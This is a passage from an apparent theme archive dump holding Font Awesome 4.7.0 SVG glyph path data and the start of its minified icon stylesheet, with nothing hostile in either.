d="M1291 1060q-15 17 -35 8.5t-26 -28.5t5 -38q14 -17 40 -14.5t34 20.5t-18 52zM895 814q-8 -8 -19.5 -8t-18.5 8q-8 8 -8 19t8 18q7 8 18.5 8t19.5 -8q7 -7 7 -18t-7 -19zM1060 740l-35 -35q-12 -13 -29.5 -13t-30.5 13l-38 38q-12 13 -12 30t12 30l35 35q12 12 29.5 12
t30.5 -12l38 -39q12 -12 12 -29.5t-12 -29.5zM951 870q-7 -8 -18.5 -8t-19.5 8q-7 8 -7 19t7 19q8 8 19 8t19 -8t8 -19t-8 -19zM1354 968q-34 -64 -107.5 -85.5t-127.5 16.5q-38 28 -61 66.5t-21 87.5t39 92t75.5 53t70.5 -5t70 -51q2 -2 13 -12.5t14.5 -13.5t13 -13.5
t12.5 -15.5t10 -15.5t8.5 -18t4 -18.5t1 -21t-5 -22t-9.5 -24zM1555 486q3 20 -8.5 34.5t-27.5 21.5t-33 17t-23 20q-40 71 -84 98.5t-113 11.5q19 13 40 18.5t33 4.5l12 -1q2 45 -34 90q6 20 6.5 40.5t-2.5 30.5l-3 10q43 24 71 65t34 91q10 84 -43 150.5t-137 76.5
q-60 7 -114 -18.5t-82 -74.5q-30 -51 -33.5 -101t14.5 -87t43.5 -64t56.5 -42q-45 4 -88 36t-57 88q-28 108 32 222q-16 21 -29 32q-50 0 -89 -19q19 24 42 37t36 14l13 1q0 50 -13 78q-10 21 -32.5 28.5t-47 -3.5t-37.5 -40q2 4 4 7q-7 -28 -6.5 -75.5t19 -117t48.5 -122.5
q-25 -14 -47 -36q-35 -16 -85.5 -70.5t-84.5 -101.5l-33 -46q-90 -34 -181 -125.5t-75 -162.5q1 -16 11 -27q-15 -12 -30 -30q-21 -25 -21 -54t21.5 -40t63.5 6q41 19 77 49.5t55 60.5q-2 2 -6.5 5t-20.5 7.5t-33 3.5q23 5 51 12.5t40 10t27.5 6t26 4t23.5 0.5q14 -7 22 34
q7 37 7 90q0 102 -40 150q106 -103 101 -219q-1 -29 -15 -50t-27 -27l-13 -6q-4 -7 -19 -32t-26 -45.5t-26.5 -52t-25 -61t-17 -63t-6.5 -66.5t10 -63q-35 54 -37 80q-22 -24 -34.5 -39t-33.5 -42t-30.5 -46t-16.5 -41t-0.5 -38t25.5 -27q45 -25 144 64t190.5 221.5
t122.5 228.5q86 52 145 115.5t86 119.5q47 -93 154 -178q104 -83 167 -80q39 2 46 43zM1794 640q0 -182 -71 -348t-191 -286t-286.5 -191t-348.5 -71t-348.5 71t-286.5 191t-191 286t-71 348t71 348t191 286t286.5 191t348.5 71t348.5 -71t286.5 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2D7" unicode="&#xf2d7;" 
d="M518 1353v-655q103 -1 191.5 1.5t125.5 5.5l37 3q68 2 90.5 24.5t39.5 94.5l33 142h103l-14 -322l7 -319h-103l-29 127q-15 68 -45 93t-84 26q-87 8 -352 8v-556q0 -78 43.5 -115.5t133.5 -37.5h357q35 0 59.5 2t55 7.5t54 18t48.5 32t46 50.5t39 73l93 216h89
q-6 -37 -31.5 -252t-30.5 -276q-146 5 -263.5 8t-162.5 4h-44h-628l-376 -12v102l127 25q67 13 91.5 37t25.5 79l8 643q3 402 -8 645q-2 61 -25.5 84t-91.5 36l-127 24v102l376 -12h702q139 0 374 27q-6 -68 -14 -194.5t-12 -219.5l-5 -92h-93l-32 124q-31 121 -74 179.5
t-113 58.5h-548q-28 0 -35.5 -8.5t-7.5 -30.5z" />
    <glyph glyph-name="uniF2D8" unicode="&#xf2d8;" 
d="M922 739v-182q0 -4 0.5 -15t0 -15l-1.5 -12t-3.5 -11.5t-6.5 -7.5t-11 -5.5t-16 -1.5v309q9 0 16 -1t11 -5t6.5 -5.5t3.5 -9.5t1 -10.5v-13.5v-14zM1238 643v-121q0 -1 0.5 -12.5t0 -15.5t-2.5 -11.5t-7.5 -10.5t-13.5 -3q-9 0 -14 9q-4 10 -4 165v7v8.5v9t1.5 8.5l3.5 7
t5 5.5t8 1.5q6 0 10 -1.5t6.5 -4.5t4 -6t2 -8.5t0.5 -8v-9.5v-9zM180 407h122v472h-122v-472zM614 407h106v472h-159l-28 -221q-20 148 -32 221h-158v-472h107v312l45 -312h76l43 319v-319zM1039 712q0 67 -5 90q-3 16 -11 28.5t-17 20.5t-25 14t-26.5 8.5t-31 4t-29 1.5
h-29.5h-12h-91v-472h56q169 -1 197 24.5t25 180.5q-1 62 -1 100zM1356 515v133q0 29 -2 45t-9.5 33.5t-24.5 25t-46 7.5q-46 0 -77 -34v154h-117v-472h110l7 30q30 -36 77 -36q50 0 66 30.5t16 83.5zM1536 1248v-1216q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113
v1216q0 66 47 113t113 47h1216q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D9" unicode="&#xf2d9;" horiz-adv-x="2176" 
d="M1143 -197q-6 1 -11 4q-13 8 -36 23t-86 65t-116.5 104.5t-112 140t-89.5 172.5q-17 3 -175 37q66 -213 235 -362t391 -184zM502 409l168 -28q-25 76 -41 167.5t-19 145.5l-4 53q-84 -82 -121 -224q5 -65 17 -114zM612 1018q-43 -64 -77 -148q44 46 74 68zM2049 584
q0 161 -62 307t-167.5 252t-250.5 168.5t-304 62.5q-147 0 -281 -52.5t-240 -148.5q-30 -58 -45 -160q60 51 143 83.5t158.5 43t143 13.5t108.5 -1l40 -3q33 -1 53 -15.5t24.5 -33t6.5 -37t-1 -28.5q-126 11 -227.5 0.5t-183 -43.5t-142.5 -71.5t-131 -98.5
q4 -36 11.5 -92.5t35.5 -178t62 -179.5q123 -6 247.5 14.5t214.5 53.5t162.5 67t109.5 59l37 24q22 16 39.5 20.5t30.5 -5t17 -34.5q14 -97 -39 -121q-208 -97 -467 -134q-135 -20 -317 -16q41 -96 110 -176.5t137 -127t130.5 -79t101.5 -43.5l39 -12q143 -23 263 15
q195 99 314 289t119 418zM2123 621q-14 -135 -40 -212q-70 -208 -181.5 -346.5t-318.5 -253.5q-48 -33 -82 -44q-72 -26 -163 -16q-36 -3 -73 -3q-283 0 -504.5 173t-295.5 442q-1 0 -4 0.5t-5 0.5q-6 -50 2.5 -112.5t26 -115t36 -98t31.5 -71.5l14 -26q8 -12 54 -82
q-71 38 -124.5 106.5t-78.5 140t-39.5 137t-17.5 107.5l-2 42q-5 2 -33.5 12.5t-48.5 18t-53 20.5t-57.5 25t-50 25.5t-42.5 27t-25 25.5q19 -10 50.5 -25.5t113 -45.5t145.5 -38l2 32q11 149 94 290q41 202 176 365q28 115 81 214q15 28 32 45t49 32q158 74 303.5 104
t302 11t306.5 -97q220 -115 333 -336t87 -474z" />
    <glyph glyph-name="uniF2DA" unicode="&#xf2da;" horiz-adv-x="1792" 
d="M1341 752q29 44 -6.5 129.5t-121.5 142.5q-58 39 -125.5 53.5t-118 4.5t-68.5 -37q-12 -23 -4.5 -28t42.5 -10q23 -3 38.5 -5t44.5 -9.5t56 -17.5q36 -13 67.5 -31.5t53 -37t40 -38.5t30.5 -38t22 -34.5t16.5 -28.5t12 -18.5t10.5 -6t11 9.5zM1704 178
q-52 -127 -148.5 -220t-214.5 -141.5t-253 -60.5t-266 13.5t-251 91t-210 161.5t-141.5 235.5t-46.5 303.5q1 41 8.5 84.5t12.5 64t24 80.5t23 73q-51 -208 1 -397t173 -318t291 -206t346 -83t349 74.5t289 244.5q20 27 18 14q0 -4 -4 -14zM1465 627q0 -104 -40.5 -199
t-108.5 -164t-162 -109.5t-198 -40.5t-198 40.5t-162 109.5t-108.5 164t-40.5 199t40.5 199t108.5 164t162 109.5t198 40.5t198 -40.5t162 -109.5t108.5 -164t40.5 -199zM1752 915q-65 147 -180.5 251t-253 153.5t-292 53.5t-301 -36.5t-275.5 -129t-220 -211.5t-131 -297
t-10 -373q-49 161 -51.5 311.5t35.5 272.5t109 227t165.5 180.5t207 126t232 71t242.5 9t236 -54t216 -124.5t178 -197q33 -50 62 -121t31 -112zM1690 573q12 244 -136.5 416t-396.5 240q-8 0 -10 5t24 8q125 -4 230 -50t173 -120t116 -168.5t58.5 -199t-1 -208
t-61.5 -197.5t-122.5 -167t-185 -117.5t-248.5 -46.5q108 30 201.5 80t174 123t129.5 176.5t55 225.5z" />
    <glyph glyph-name="uniF2DB" unicode="&#xf2db;" 
d="M192 256v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 512v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 768v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16
q0 16 16 16h112zM192 1024v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 1280v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM1280 1440v-1472q0 -40 -28 -68t-68 -28h-832q-40 0 -68 28
t-28 68v1472q0 40 28 68t68 28h832q40 0 68 -28t28 -68zM1536 208v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 464v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 720v-32
q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 976v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 1232v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16
h48q16 0 16 -16z" />
    <glyph glyph-name="uniF2DC" unicode="&#xf2dc;" horiz-adv-x="1664" 
d="M1566 419l-167 -33l186 -107q23 -13 29.5 -38.5t-6.5 -48.5q-14 -23 -39 -29.5t-48 6.5l-186 106l55 -160q13 -38 -12 -63.5t-60.5 -20.5t-48.5 42l-102 300l-271 156v-313l208 -238q16 -18 17 -39t-11 -36.5t-28.5 -25t-37 -5.5t-36.5 22l-112 128v-214q0 -26 -19 -45
t-45 -19t-45 19t-19 45v214l-112 -128q-16 -18 -36.5 -22t-37 5.5t-28.5 25t-11 36.5t17 39l208 238v313l-271 -156l-102 -300q-13 -37 -48.5 -42t-60.5 20.5t-12 63.5l55 160l-186 -106q-23 -13 -48 -6.5t-39 29.5q-13 23 -6.5 48.5t29.5 38.5l186 107l-167 33
q-29 6 -42 29t-8.5 46.5t25.5 40t50 10.5l310 -62l271 157l-271 157l-310 -62q-4 -1 -13 -1q-27 0 -44 18t-19 40t11 43t40 26l167 33l-186 107q-23 13 -29.5 38.5t6.5 48.5t39 30t48 -7l186 -106l-55 160q-13 38 12 63.5t60.5 20.5t48.5 -42l102 -300l271 -156v313
l-208 238q-16 18 -17 39t11 36.5t28.5 25t37 5.5t36.5 -22l112 -128v214q0 26 19 45t45 19t45 -19t19 -45v-214l112 128q16 18 36.5 22t37 -5.5t28.5 -25t11 -36.5t-17 -39l-208 -238v-313l271 156l102 300q13 37 48.5 42t60.5 -20.5t12 -63.5l-55 -160l186 106
q23 13 48 6.5t39 -29.5q13 -23 6.5 -48.5t-29.5 -38.5l-186 -107l167 -33q27 -5 40 -26t11 -43t-19 -40t-44 -18q-9 0 -13 1l-310 62l-271 -157l271 -157l310 62q29 6 50 -10.5t25.5 -40t-8.5 -46.5t-42 -29z" />
    <glyph glyph-name="uniF2DD" unicode="&#xf2dd;" horiz-adv-x="1792" 
d="M1473 607q7 118 -33 226.5t-113 189t-177 131t-221 57.5q-116 7 -225.5 -32t-192 -110.5t-135 -175t-59.5 -220.5q-7 -118 33 -226.5t113 -189t177.5 -131t221.5 -57.5q155 -9 293 59t224 195.5t94 283.5zM1792 1536l-349 -348q120 -117 180.5 -272t50.5 -321
q-11 -183 -102 -339t-241 -255.5t-332 -124.5l-999 -132l347 347q-120 116 -180.5 271.5t-50.5 321.5q11 184 102 340t241.5 255.5t332.5 124.5q167 22 500 66t500 66z" />
    <glyph glyph-name="uniF2DE" unicode="&#xf2de;" horiz-adv-x="1792" 
d="M948 508l163 -329h-51l-175 350l-171 -350h-49l179 374l-78 33l21 49l240 -102l-21 -50zM563 1100l304 -130l-130 -304l-304 130zM907 915l240 -103l-103 -239l-239 102zM1188 765l191 -81l-82 -190l-190 81zM1680 640q0 159 -62 304t-167.5 250.5t-250.5 167.5t-304 62
t-304 -62t-250.5 -167.5t-167.5 -250.5t-62 -304t62 -304t167.5 -250.5t250.5 -167.5t304 -62t304 62t250.5 167.5t167.5 250.5t62 304zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71
t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2E0" unicode="&#xf2e0;" horiz-adv-x="1920" 
d="M1334 302q-4 24 -27.5 34t-49.5 10.5t-48.5 12.5t-25.5 38q-5 47 33 139.5t75 181t32 127.5q-14 101 -117 103q-45 1 -75 -16l-3 -2l-5 -2.5t-4.5 -2t-5 -2t-5 -0.5t-6 1.5t-6 3.5t-6.5 5q-3 2 -9 8.5t-9 9t-8.5 7.5t-9.5 7.5t-9.5 5.5t-11 4.5t-11.5 2.5q-30 5 -48 -3
t-45 -31q-1 -1 -9 -8.5t-12.5 -11t-15 -10t-16.5 -5.5t-17 3q-54 27 -84 40q-41 18 -94 -5t-76 -65q-16 -28 -41 -98.5t-43.5 -132.5t-40 -134t-21.5 -73q-22 -69 18.5 -119t110.5 -46q30 2 50.5 15t38.5 46q7 13 79 199.5t77 194.5q6 11 21.5 18t29.5 0q27 -15 21 -53
q-2 -18 -51 -139.5t-50 -132.5q-6 -38 19.5 -56.5t60.5 -7t55 49.5q4 8 45.5 92t81.5 163.5t46 88.5q20 29 41 28q29 0 25 -38q-2 -16 -65.5 -147.5t-70.5 -159.5q-12 -53 13 -103t74 -74q17 -9 51 -15.5t71.5 -8t62.5 14t20 48.5zM383 86q3 -15 -5 -27.5t-23 -15.5
q-14 -3 -26.5 5t-15.5 23q-3 14 5 27t22 16t27 -5t16 -23zM953 -177q12 -17 8.5 -37.5t-20.5 -32.5t-37.5 -8t-32.5 21q-11 17 -7.5 37.5t20.5 32.5t37.5 8t31.5 -21zM177 635q-18 -27 -49.5 -33t-57.5 13q-26 18 -32 50t12 58q18 27 49.5 33t57.5 -12q26 -19 32 -50.5
t-12 -58.5zM1467 -42q19 -28 13 -61.5t-34 -52.5t-60.5 -13t-51.5 34t-13 61t33 53q28 19 60.5 13t52.5 -34zM1579 562q69 -113 42.5 -244.5t-134.5 -207.5q-90 -63 -199 -60q-20 -80 -84.5 -127t-143.5 -44.5t-140 57.5q-12 -9 -13 -10q-103 -71 -225 -48.5t-193 126.5
q-50 73 -53 164q-83 14 -142.5 70.5t-80.5 128t-2 152t81 138.5q-36 60 -38 128t24.5 125t79.5 98.5t121 50.5q32 85 99 148t146.5 91.5t168 17t159.5 -66.5q72 21 140 17.5t128.5 -36t104.5 -80t67.5 -115t17.5 -140.5q52 -16 87 -57t45.5 -89t-5.5 -99.5t-58 -87.5z
M455 1222q14 -20 9.5 -44.5t-24.5 -38.5q-19 -14 -43.5 -9.5t-37.5 24.5q-14 20 -9.5 44.5t24.5 38.5q19 14 43.5 9.5t37.5 -24.5zM614 1503q4 -16 -5 -30.5t-26 -18.5t-31 5.5t-18 26.5q-3 17 6.5 31t25.5 18q17 4 31 -5.5t17 -26.5zM1800 555q4 -20 -6.5 -37t-30.5 -21
q-19 -4 -36 6.5t-21 30.5t6.5 37t30.5 22q20 4 36.5 -7.5t20.5 -30.5zM1136 1448q16 -27 8.5 -58.5t-35.5 -47.5q-27 -16 -57.5 -8.5t-46.5 34.5q-16 28 -8.5 59t34.5 48t58 9t47 -36zM1882 792q4 -15 -4 -27.5t-23 -16.5q-15 -3 -27.5 5.5t-15.5 22.5q-3 15 5 28t23 16
q14 3 26.5 -5t15.5 -23zM1691 1033q15 -22 10.5 -49t-26.5 -43q-22 -15 -49 -10t-42 27t-10 49t27 43t48.5 11t41.5 -28z" />
    <glyph glyph-name="uniF2E1" unicode="&#xf2e1;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E2" unicode="&#xf2e2;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E3" unicode="&#xf2e3;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E4" unicode="&#xf2e4;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E5" unicode="&#xf2e5;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E6" unicode="&#xf2e6;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E7" unicode="&#xf2e7;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_698" unicode="&#xf2e8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E9" unicode="&#xf2e9;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EA" unicode="&#xf2ea;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EB" unicode="&#xf2eb;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EC" unicode="&#xf2ec;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2ED" unicode="&#xf2ed;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EE" unicode="&#xf2ee;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="lessequal" unicode="&#xf500;" horiz-adv-x="1792" 
 />
  </font>
</defs></svg>
PK     N\}y  y  B  inc/customizer/framework/assets/font/font-awesome/font-awesome.cssnu [        /*!
 *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
 *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
 */@font-face{font-family:'FontAwesome';src:url('fonts/fontawesome-webfont.eot?v=4.7.0');src:url('fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipb